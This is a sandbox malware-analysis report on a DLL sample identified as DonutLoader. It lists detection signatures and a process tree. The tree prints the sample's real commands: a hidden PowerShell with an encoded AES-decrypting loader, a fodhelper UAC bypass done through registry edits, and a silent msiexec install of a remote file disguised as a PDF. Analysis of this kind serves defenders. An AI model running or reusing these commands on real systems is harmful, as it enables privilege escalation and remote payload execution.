Overview

overview

10

Static

static

3

e13d7b8718...d0.dll

windows11-21h2-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    898s
  • max time network
    429s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260911-en
  • resource tags

    arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    13/09/2026, 02:20

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    e13d7b87184371006f337cf3025e0960a8060ab22c8920c34d15329dbb03bcd0.dll
  • Size 96KB
  • Sample260913-cskvvazerg
  • SHA256 e13d7b87184371006f337cf3025e0960a8060ab22c8920c34d15329dbb03bcd0
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
donutloaderloader

Malware Config

Signatures

  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

    loaderdonutloader
  • Detects DonutLoader 1 IoCs
    loader
  • Unknown use of msiexec with remote resource 2 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Modifies registry key 1 TTPs 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 39 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 61 IoCs
  • Suspicious use of SendNotifyMessage 61 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\e13d7b87184371006f337cf3025e0960a8060ab22c8920c34d15329dbb03bcd0.dll,#1
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4896
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W h -EC "JABrAGUAeQBfAGIANgA0ACAAPQAgACIANgBCADAAYwB3AGoARwBDAHkAZgAzAGsAbQB5AE0ARgBPAGsAZgB4AHQAZwA9AD0AIgAKACQAaQB2AF8AYgA2ADQAIAA9ACAAIgBhAFAAZABnAGQAOABjAFMAWgAyAEgAOQB4AE8AWQA3AEcASgA1AE0AQgB3AD0APQAiAAoAJABlAG4AYwByAHkAcAB0AGUAZAAgAD0AIAAiAFgAbQBJAGIANABBAEIASgAxAHQAbQBZAEUAZQBMAGcAZgBVADcAQwBzAE0ANABJAEMAbQBHAE8AWABSADkANQA0AEgAawBoAGsAWgBDAEsAWAAzAE8AOQBGAEQAOABzADYARwBNAFUAMwB5AE8AWQBTAGIARgBnADkAdwBmAGMAQgBkAFYAZAB0AG0ANABOADcAeQBRAGsAUwA0AGQAYgBIAHgAQwBxAFUASwBNAFcAWABYAGoAbgBxAEYAdAA4AGYAYwB0AFIAUwBHAGUAdwB0AGsAbAB0ADUAcABoAHAAZABjAGgASwBjAGwAQQBaAGsAMwBXAHcARQBqADMAZwBDAFoARwBaAGcARwBTADAATQBCAGkAcgBvADQAcgBmAEQAKwBoAFQAeABWAHEAaABDAHcAMwBjADMARQB4AGEAMgBuAEQAZQBEAEsAdgAzAGMARABRADQAZwBzAGIAZQBaAEIAdwB0ADEAWQAwAGYATABGAHUARgBKAFIASwB2AGYAdABrAFcAaQB0AGUANgBpAEUAdgBrAEgATAB6AGIAUABaAEQAZABaAE8AZQB1AFcAagByAEgAKwBHAHEAQQBmAEQAKwBDADQAdwBXAFcAVwBTAHgAUgB4AEgAVABiAGcAVwBoAEMAawA5ADkAagBuAFAAMgB2ACsAdQBOADYAagA2AHYATABSAFQARwBPAGcANQAzAHoAbABXAFcAYwBMAGgAMAB1AEsAYQBOAE0AdwBDAGcARgBXAEkAKwB5AHgAMQBmAE0AVgBNAHYAVgBEADYAdQBwADgAMwBJAGoAZABTAG8AZgAyADAAbgBWAFIATQB3AFAAaABNADEAZgBoAHoAbwAzAEIASAB2AGYAWABiADUAYgBOAC8ANwAzAGYAbgBQAEEASgBpAFYAVgBYAFUAVQBpAEUAawBqADgAdgBjAFgAbQBFAFIAUABLAFIASQBEAFkAUABjAHIAcwBnAFYAeABQAG0AYgBDACsAagBRAHkAawBjAGEANQB5AHUAdwBGAGEATQBiAE8AMgAyAEsAbwBOAE8AdQBRAHgAbwA2AFgAagBxAFMAdwBUAE4AawBoAEUAUQB3AGwAeQA4AFYAcQBlAFQAOQBJAHYAaABrAHEAOAA4ADEAUgBmAHkARwBGAHAATwBIAGEAbwB0AHUAMwBZAFQAQwA5AHkAVABsAGgAaAArADkAZABHAGwAVQBDAFEAUABHAHMANwBvADIAVwBKAEwARwB5AGUAeQBNAGEASgB4AE8AMQBPAFUAUAA0AFAATABsAEcAOQB4AFEAcQBLAGQAbABBAEwAOABTACsAYgBJAFoASgBWAFUAcQBWADgAZwB1ADUATgBkADIAVQA0ACsATAByAHMAZgA4AEYAcgBiAFUAVgBhAGcASwBtAGUAVABHAGkASQBXADcAWABwAG4ASQBKAHkAUgBrAG4AbgAzAEMATABUAFkAQQBuAFIAQwBCAGYAaQBCAHYAdgB2AEsAZAA0AFAAdQBmAHcALwBVAEMAWQBJAHoALwA5AGEAdgB2AFEASwA2AC8AdABEAE0ARgB1ADgAZwBqAGUAawBhAEUAdAA1AGMAbAA5AEgAcgA5AEgAWABIAEEAdQBKADAAUABQAEUAbQBlAGsANgBiAHYAbQAzAG8AbgBkAGoAcgBvAFYARwAwAFEAUAB2AFAAaQBtAHYAUABGAGkAMwB1AGYASgArAHIAZwBxAHkAcABLAGQANwBTAGsAcQAzAEgAVwAxADMANABUAFMAVABWAEQAdQBYAHIAVQBnAG0ATgB2AG0AOQBpADAASQAwAGsAQwA1AGIAQgAyAFIAZAAwAEQAWABkAHIAWgBzAEsAMgB1ADAARAAiAAoACgAKAGYAdQBuAGMAdABpAG8AbgAgAEQAZQBjAHIAeQBwAHQALQBBAEUAUwAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAEMAaABpAHAAZQByAFQAZQB4AHQALAAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AJABCADYANABLAGUAeQAsACAAIAAjACAAMwAyAC0AYwBoAGEAcgAgAHMAdAByAGkAbgBnAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAEIANgA0AGkAdgAgACAAIAAgACMAIAAxADYALQBjAGgAYQByACAAcwB0AHIAaQBuAGcACgAgACAAIAAgACkACgAKACAAIAAgACAAJABrAGUAeQAgAD0AIABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQgA2ADQASwBlAHkAKQAKACAAIAAgACAAJABpAHYAIAAgAD0AIABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQgA2ADQAaQB2ACkACgAgACAAIAAgACQAZQBuAGMAcgB5AHAAdABlAGQAQgB5AHQAZQBzACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABDAGgAaQBwAGUAcgBUAGUAeAB0ACkACgAKACAAIAAgACAAJABhAGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAgACAAIAAgACQAYQBlAHMALgBNAG8AZABlACAAIAAgACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEMAaQBwAGgAZQByAE0AbwBkAGUAXQA6ADoAQwBCAEMACgAgACAAIAAgACQAYQBlAHMALgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAgACAAIAAgACQAYQBlAHMALgBLAGUAeQAgACAAIAAgACAAPQAgACQAawBlAHkACgAgACAAIAAgACQAYQBlAHMALgBJAFYAIAAgACAAIAAgACAAPQAgACQAaQB2AAoACgAgACAAIAAgACQAZABlAGMAcgB5AHAAdABvAHIAIAA9ACAAJABhAGUAcwAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQAKAAoAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAJABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAHIAeQBwAHQAbwBTAHQAcgBlAGEAbQAgACgACgAgACAAIAAgACAAIAAgACAAJABtAHMALAAKACAAIAAgACAAIAAgACAAIAAkAGQAZQBjAHIAeQBwAHQAbwByACwACgAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwByAHkAcAB0AG8AUwB0AHIAZQBhAG0ATQBvAGQAZQBdADoAOgBXAHIAaQB0AGUACgAgACAAIAAgACkACgAgACAAIAAgACQAYwBzAC4AVwByAGkAdABlACgAJABlAG4AYwByAHkAcAB0AGUAZABCAHkAdABlAHMALAAgADAALAAgACQAZQBuAGMAcgB5AHAAdABlAGQAQgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQAKACAAIAAgACAAJABjAHMALgBGAGwAdQBzAGgARgBpAG4AYQBsAEIAbABvAGMAawAoACkACgAgACAAIAAgACQAYwBzAC4AQwBsAG8AcwBlACgAKQAKAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbQBzAC4AVABvAEEAcgByAGEAeQAoACkAKQAKAH0ACgAKACQAbQBvAGQAdQBsAGUAUABhAHIAdABzACAAPQAgAEAAKAAiAGQAcgBhAG8AdgBBAHIARABUAGsAagByAEUAMAA3AEoARwBlACsAcABEAHMAVAB2AEYANABTAFUAegBLAFkAUgBGAGcAMwBqAEgAMwBFAHYAMwAwAEcALwAzAGsAUQBkAEcAVQBZAEIAMABHAGoAVQBzAEIAUABMAGkAVQBBAGIAaABQAHUAWABxAHcAcQBuAGMAMwAyAHgAYQBCAHAAQwBuAEwAYQBDAGsARgBGAFcANwBEADcAVwB1AEgAdgBvACsAZgBaAEYAawBHAGsATwA4AG0AdQBQAGgAZwA5AHIAdAB3ADcAWgBOAEkAQgBQAFAASAB1ADEAKwBEAGwASwBmAG0AWQB6ADEARwBBADgAQgBBAGQAdgA0AEYAUQBEAFUAMwAwAFIAZQBmAE0ALwBUAC8AMAAvAEcAUQB2AG8AbgBrADYAdAB6AG0ARgArAG4AWABJAFYAZgAvAHgAagBnAGgAdQBoAFYAQQAxAGMAegBRAHgAQQBJADYAdABKAFMATwBpAGMARABuAE0ARABTAHgANABFADIAdgBCAGoATAA0AHIAegBOAHQAcwBwADcAUQBnAGEASgBpADUAOQA2AGwARABLAE0AaQB2ADUAZwBCAE0APQAiACAALAAgACIAZQBiAGIAVgBXAE0ATwAxADEAMQA0AE4AUQBaAEQAMgB5AG0ANQBYAEIAdwB1AFMASABFAG8AdgBkADkATQBvAEUAOABUAFgASQB1AGcARgAxAFQAdQBQAFgAVgBDAHEAdgAyAHMAegBzADUAMQB1AEgAbgBXAG0AVgBGAHcASQBYAFMAaQBsADQASwBoAHkARgBQAFgAUABqADgAbgAxAHgAUQBNAGwAWQBQAHEAeQBoAHEAVgAwAEEAeABDAHUAaAAzADMAZgBSAEMATgBPAC8ARAA4AD0AIgAgACwAIAAiAC8AMgB0AGoAOQBIAE0ANABVAEkARABhAFQAagAzAE0ARQBKAFMAcgB6ADUAcQBkADkAWgBSADUALwBVAEwAbgBHAFQAVABjAGQAWQBQAGIAcABIAGMAPQAiACAALAAgACIAMgBBAEkAOQBBAGcATgBMAGUANAA5AHkANwBPAGQAZABZAEcAUQArAGwAMwBvAEYANAB0AFEAVwA2AGQAYQBLAFkAYgAzAHcARQBIAHoAcABaADgAcwA9ACIAIAAsACAAIgB1AEMAQwBrAGYAVgB4AFoAUQBhADIAVgAyAGoAbwBWAGYAcABlAHUASAA1AC8AdQBiACsAawBIADkAOABnAEcATwBXAHEAQQB2AHUAVwBuAEwAeQBzAD0AIgAgACwAIAAiAHQAVwBXAFcAQgBVAE0ARQBDAG0AWAB1ADgATwBFAGwAZwAzADAAVQBkAGkAbABOADMAVwAzAHgAbwBGAEgAWQBwAEIAQgBGAFgAawBuADAAUwB6AFUAPQAiACAALAAgACIAeQByADEAMQBTAHQAbQAyADQASgA1AHQAVwB2AHQAOQBaAE8AKwBzADIAbABwAE4ARQAyAEkAdgBqAE4AUQBKAGwAZgBtAGIARgBtACsAcgBxADkAUAB0AFAANwBtAGgAUABZADAARAB3AHYAeQBwADEATABCAFUAbgA1AE0AbABlAEoAUwBQADcAagBOAEoAdgBZAFEAUABPADIAdABnAFMAOQBMAG0AYQB3AD0APQAiACAALAAgACIAcABsAG4ASgBFAHUATgByAGYAYQAxAHYATgBPACsAagBmAHIASABVAFUANwB3AEsARQAxAGMANQB4AEMAbQBHAFcAZwBmAFcAYwBaAGUARABFADEAVQA9ACIAKQAKAAoAZgBvAHIAZQBhAGMAaAAoACQAcABhAHIAdAAgAGkAbgAgACQAbQBvAGQAdQBsAGUAUABhAHIAdABzACkAewAKACAAIAAgACAAJABkAGMAIAA9ACAARABlAGMAcgB5AHAAdAAtAEEARQBTACAALQBDAGgAaQBwAGUAcgBUAGUAeAB0ACAAJABwAGEAcgB0ACAALQBCADYANABLAGUAeQAgACQAawBlAHkAXwBiADYANAAgAC0AQgA2ADQAaQB2ACAAJABpAHYAXwBiADYANAAKACAAIAAgACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABkAGMACgB9AAoACgAkAGQAZQBjAHIAeQBwAHQAZQBkACAAPQAgAEQAZQBjAHIAeQBwAHQALQBBAEUAUwAgAC0AQwBoAGkAcABlAHIAVABlAHgAdAAgACQAZQBuAGMAcgB5AHAAdABlAGQAIAAtAEIANgA0AEsAZQB5ACAAJABrAGUAeQBfAGIANgA0ACAALQBCADYANABpAHYAIAAkAGkAdgBfAGIANgA0AAoACgAkAG0AbwBkAHUAbABlAG4AYQBtAGUAIAA9ACAAIgBMAG8AbQBiAGkAbQBzAGkAcgAiAAoAJABtAG8AZAB1AGwAZQAgAD0AIABOAGUAdwAtAE0AbwBkAHUAbABlACAALQBTAGMAcgBpAHAAdABCAGwAbwBjAGsAIAAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAJABkAGUAYwByAHkAcAB0AGUAZAApACkAIAAtAE4AYQBtAGUAIAAkAG0AbwBkAHUAbABlAG4AYQBtAGUACgBJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAALQBNAG8AZAB1AGwAZQBJAG4AZgBvACAAJABtAG8AZAB1AGwAZQAgAC0ARwBsAG8AYgBhAGwAIAAtAEYAbwByAGMAZQAKAA=="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4944
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add HKCU\Software\Classes\.omg\Shell\Open\command /d "msiexec /q /I https://github.com/user-attachments/files/27285930/002.pdf" /f
        3⤵
        • Modifies registry class
        • Modifies registry key
        PID:5812
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add HKCU\Software\Classes\ms-settings\CurVer /d .omg /f
        3⤵
        • Modifies registry class
        • Modifies registry key
        PID:4824
      • C:\Windows\system32\fodhelper.exe
        "C:\Windows\system32\fodhelper.exe"
        3⤵
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:5440
        • C:\Windows\system32\msiexec.exe
          "msiexec.exe" /q /I https://github.com/user-attachments/files/27285930/002.pdf
          4⤵
          • Unknown use of msiexec with remote resource
          • Suspicious use of AdjustPrivilegeToken
          PID:1468
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" delete HKCU\Software\Classes\.omg\ /f
        3⤵
        • Modifies registry class
        • Modifies registry key
        PID:5652
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" delete HKCU\Software\Classes\ms-settings\ /f
        3⤵
        • Modifies registry class
        • Modifies registry key
        PID:1952
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W h -EC "JABrAGUAeQBfAGIANgA0ACAAPQAgACIANgBCADAAYwB3AGoARwBDAHkAZgAzAGsAbQB5AE0ARgBPAGsAZgB4AHQAZwA9AD0AIgAKACQAaQB2AF8AYgA2ADQAIAA9ACAAIgBhAFAAZABnAGQAOABjAFMAWgAyAEgAOQB4AE8AWQA3AEcASgA1AE0AQgB3AD0APQAiAAoAJABlAG4AYwByAHkAcAB0AGUAZAAgAD0AIAAiAFgAbQBJAGIANABBAEIASgAxAHQAbQBZAEUAZQBMAGcAZgBVADcAQwBzAE0ANABJAEMAbQBHAE8AWABSADkANQA0AEgAawBoAGsAWgBDAEsAWAAzAE8AOQBGAEQAOABzADYARwBNAFUAMwB5AE8AWQBTAGIARgBnADkAdwBmAGMAQgBkAFYAZAB0AG0ANABOADcAeQBRAGsAUwA0AGQAYgBIAHgAQwBxAFUASwBNAFcAWABYAGoAbgBxAEYAdAA4AGYAYwB0AFIAUwBHAGUAdwB0AGsAbAB0ADUAcABoAHAAZABjAGgASwBjAGwAQQBaAGsAMwBXAHcARQBqADMAZwBDAFoARwBaAGcARwBTADAATQBCAGkAcgBvADQAcgBmAEQAKwBoAFQAeABWAHEAaABDAHcAMwBjADMARQB4AGEAMgBuAEQAZQBEAEsAdgAzAGMARABRADQAZwBzAGIAZQBaAEIAdwB0ADEAWQAwAGYATABGAHUARgBKAFIASwB2AGYAdABrAFcAaQB0AGUANgBpAEUAdgBrAEgATAB6AGIAUABaAEQAZABaAE8AZQB1AFcAagByAEgAKwBHAHEAQQBmAEQAKwBDADQAdwBXAFcAVwBTAHgAUgB4AEgAVABiAGcAVwBoAEMAawA5ADkAagBuAFAAMgB2ACsAdQBOADYAagA2AHYATABSAFQARwBPAGcANQAzAHoAbABXAFcAYwBMAGgAMAB1AEsAYQBOAE0AdwBDAGcARgBXAEkAKwB5AHgAMQBmAE0AVgBNAHYAVgBEADYAdQBwADgAMwBJAGoAZABTAG8AZgAyADAAbgBWAFIATQB3AFAAaABNADEAZgBoAHoAbwAzAEIASAB2AGYAWABiADUAYgBOAC8ANwAzAGYAbgBQAEEASgBpAFYAVgBYAFUAVQBpAEUAawBqADgAdgBjAFgAbQBFAFIAUABLAFIASQBEAFkAUABjAHIAcwBnAFYAeABQAG0AYgBDACsAagBRAHkAawBjAGEANQB5AHUAdwBGAGEATQBiAE8AMgAyAEsAbwBOAE8AdQBRAHgAbwA2AFgAagBxAFMAdwBUAE4AawBoAEUAUQB3AGwAeQA4AFYAcQBlAFQAOQBJAHYAaABrAHEAOAA4ADEAUgBmAHkARwBGAHAATwBIAGEAbwB0AHUAMwBZAFQAQwA5AHkAVABsAGgAaAArADkAZABHAGwAVQBDAFEAUABHAHMANwBvADIAVwBKAEwARwB5AGUAeQBNAGEASgB4AE8AMQBPAFUAUAA0AFAATABsAEcAOQB4AFEAcQBLAGQAbABBAEwAOABTACsAYgBJAFoASgBWAFUAcQBWADgAZwB1ADUATgBkADIAVQA0ACsATAByAHMAZgA4AEYAcgBiAFUAVgBhAGcASwBtAGUAVABHAGkASQBXADcAWABwAG4ASQBKAHkAUgBrAG4AbgAzAEMATABUAFkAQQBuAFIAQwBCAGYAaQBCAHYAdgB2AEsAZAA0AFAAdQBmAHcALwBVAEMAWQBJAHoALwA5AGEAdgB2AFEASwA2AC8AdABEAE0ARgB1ADgAZwBqAGUAawBhAEUAdAA1AGMAbAA5AEgAcgA5AEgAWABIAEEAdQBKADAAUABQAEUAbQBlAGsANgBiAHYAbQAzAG8AbgBkAGoAcgBvAFYARwAwAFEAUAB2AFAAaQBtAHYAUABGAGkAMwB1AGYASgArAHIAZwBxAHkAcABLAGQANwBTAGsAcQAzAEgAVwAxADMANABUAFMAVABWAEQAdQBYAHIAVQBnAG0ATgB2AG0AOQBpADAASQAwAGsAQwA1AGIAQgAyAFIAZAAwAEQAWABkAHIAWgBzAEsAMgB1ADAARAAiAAoACgAKAGYAdQBuAGMAdABpAG8AbgAgAEQAZQBjAHIAeQBwAHQALQBBAEUAUwAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAEMAaABpAHAAZQByAFQAZQB4AHQALAAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AJABCADYANABLAGUAeQAsACAAIAAjACAAMwAyAC0AYwBoAGEAcgAgAHMAdAByAGkAbgBnAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAEIANgA0AGkAdgAgACAAIAAgACMAIAAxADYALQBjAGgAYQByACAAcwB0AHIAaQBuAGcACgAgACAAIAAgACkACgAKACAAIAAgACAAJABrAGUAeQAgAD0AIABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQgA2ADQASwBlAHkAKQAKACAAIAAgACAAJABpAHYAIAAgAD0AIABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQgA2ADQAaQB2ACkACgAgACAAIAAgACQAZQBuAGMAcgB5AHAAdABlAGQAQgB5AHQAZQBzACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABDAGgAaQBwAGUAcgBUAGUAeAB0ACkACgAKACAAIAAgACAAJABhAGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAgACAAIAAgACQAYQBlAHMALgBNAG8AZABlACAAIAAgACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEMAaQBwAGgAZQByAE0AbwBkAGUAXQA6ADoAQwBCAEMACgAgACAAIAAgACQAYQBlAHMALgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAgACAAIAAgACQAYQBlAHMALgBLAGUAeQAgACAAIAAgACAAPQAgACQAawBlAHkACgAgACAAIAAgACQAYQBlAHMALgBJAFYAIAAgACAAIAAgACAAPQAgACQAaQB2AAoACgAgACAAIAAgACQAZABlAGMAcgB5AHAAdABvAHIAIAA9ACAAJABhAGUAcwAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQAKAAoAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAJABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAHIAeQBwAHQAbwBTAHQAcgBlAGEAbQAgACgACgAgACAAIAAgACAAIAAgACAAJABtAHMALAAKACAAIAAgACAAIAAgACAAIAAkAGQAZQBjAHIAeQBwAHQAbwByACwACgAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwByAHkAcAB0AG8AUwB0AHIAZQBhAG0ATQBvAGQAZQBdADoAOgBXAHIAaQB0AGUACgAgACAAIAAgACkACgAgACAAIAAgACQAYwBzAC4AVwByAGkAdABlACgAJABlAG4AYwByAHkAcAB0AGUAZABCAHkAdABlAHMALAAgADAALAAgACQAZQBuAGMAcgB5AHAAdABlAGQAQgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQAKACAAIAAgACAAJABjAHMALgBGAGwAdQBzAGgARgBpAG4AYQBsAEIAbABvAGMAawAoACkACgAgACAAIAAgACQAYwBzAC4AQwBsAG8AcwBlACgAKQAKAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbQBzAC4AVABvAEEAcgByAGEAeQAoACkAKQAKAH0ACgAKACQAbQBvAGQAdQBsAGUAUABhAHIAdABzACAAPQAgAEAAKAAiAGQAcgBhAG8AdgBBAHIARABUAGsAagByAEUAMAA3AEoARwBlACsAcABEAHMAVAB2AEYANABTAFUAegBLAFkAUgBGAGcAMwBqAEgAMwBFAHYAMwAwAEcALwAzAGsAUQBkAEcAVQBZAEIAMABHAGoAVQBzAEIAUABMAGkAVQBBAGIAaABQAHUAWABxAHcAcQBuAGMAMwAyAHgAYQBCAHAAQwBuAEwAYQBDAGsARgBGAFcANwBEADcAVwB1AEgAdgBvACsAZgBaAEYAawBHAGsATwA4AG0AdQBQAGgAZwA5AHIAdAB3ADcAWgBOAEkAQgBQAFAASAB1ADEAKwBEAGwASwBmAG0AWQB6ADEARwBBADgAQgBBAGQAdgA0AEYAUQBEAFUAMwAwAFIAZQBmAE0ALwBUAC8AMAAvAEcAUQB2AG8AbgBrADYAdAB6AG0ARgArAG4AWABJAFYAZgAvAHgAagBnAGgAdQBoAFYAQQAxAGMAegBRAHgAQQBJADYAdABKAFMATwBpAGMARABuAE0ARABTAHgANABFADIAdgBCAGoATAA0AHIAegBOAHQAcwBwADcAUQBnAGEASgBpADUAOQA2AGwARABLAE0AaQB2ADUAZwBCAE0APQAiACAALAAgACIAZQBiAGIAVgBXAE0ATwAxADEAMQA0AE4AUQBaAEQAMgB5AG0ANQBYAEIAdwB1AFMASABFAG8AdgBkADkATQBvAEUAOABUAFgASQB1AGcARgAxAFQAdQBQAFgAVgBDAHEAdgAyAHMAegBzADUAMQB1AEgAbgBXAG0AVgBGAHcASQBYAFMAaQBsADQASwBoAHkARgBQAFgAUABqADgAbgAxAHgAUQBNAGwAWQBQAHEAeQBoAHEAVgAwAEEAeABDAHUAaAAzADMAZgBSAEMATgBPAC8ARAA4AD0AIgAgACwAIAAiAC8AMgB0AGoAOQBIAE0ANABVAEkARABhAFQAagAzAE0ARQBKAFMAcgB6ADUAcQBkADkAWgBSADUALwBVAEwAbgBHAFQAVABjAGQAWQBQAGIAcABIAGMAPQAiACAALAAgACIAMgBBAEkAOQBBAGcATgBMAGUANAA5AHkANwBPAGQAZABZAEcAUQArAGwAMwBvAEYANAB0AFEAVwA2AGQAYQBLAFkAYgAzAHcARQBIAHoAcABaADgAcwA9ACIAIAAsACAAIgB1AEMAQwBrAGYAVgB4AFoAUQBhADIAVgAyAGoAbwBWAGYAcABlAHUASAA1AC8AdQBiACsAawBIADkAOABnAEcATwBXAHEAQQB2AHUAVwBuAEwAeQBzAD0AIgAgACwAIAAiAHQAVwBXAFcAQgBVAE0ARQBDAG0AWAB1ADgATwBFAGwAZwAzADAAVQBkAGkAbABOADMAVwAzAHgAbwBGAEgAWQBwAEIAQgBGAFgAawBuADAAUwB6AFUAPQAiACAALAAgACIAeQByADEAMQBTAHQAbQAyADQASgA1AHQAVwB2AHQAOQBaAE8AKwBzADIAbABwAE4ARQAyAEkAdgBqAE4AUQBKAGwAZgBtAGIARgBtACsAcgBxADkAUAB0AFAANwBtAGgAUABZADAARAB3AHYAeQBwADEATABCAFUAbgA1AE0AbABlAEoAUwBQADcAagBOAEoAdgBZAFEAUABPADIAdABnAFMAOQBMAG0AYQB3AD0APQAiACAALAAgACIAcABsAG4ASgBFAHUATgByAGYAYQAxAHYATgBPACsAagBmAHIASABVAFUANwB3AEsARQAxAGMANQB4AEMAbQBHAFcAZwBmAFcAYwBaAGUARABFADEAVQA9ACIAKQAKAAoAZgBvAHIAZQBhAGMAaAAoACQAcABhAHIAd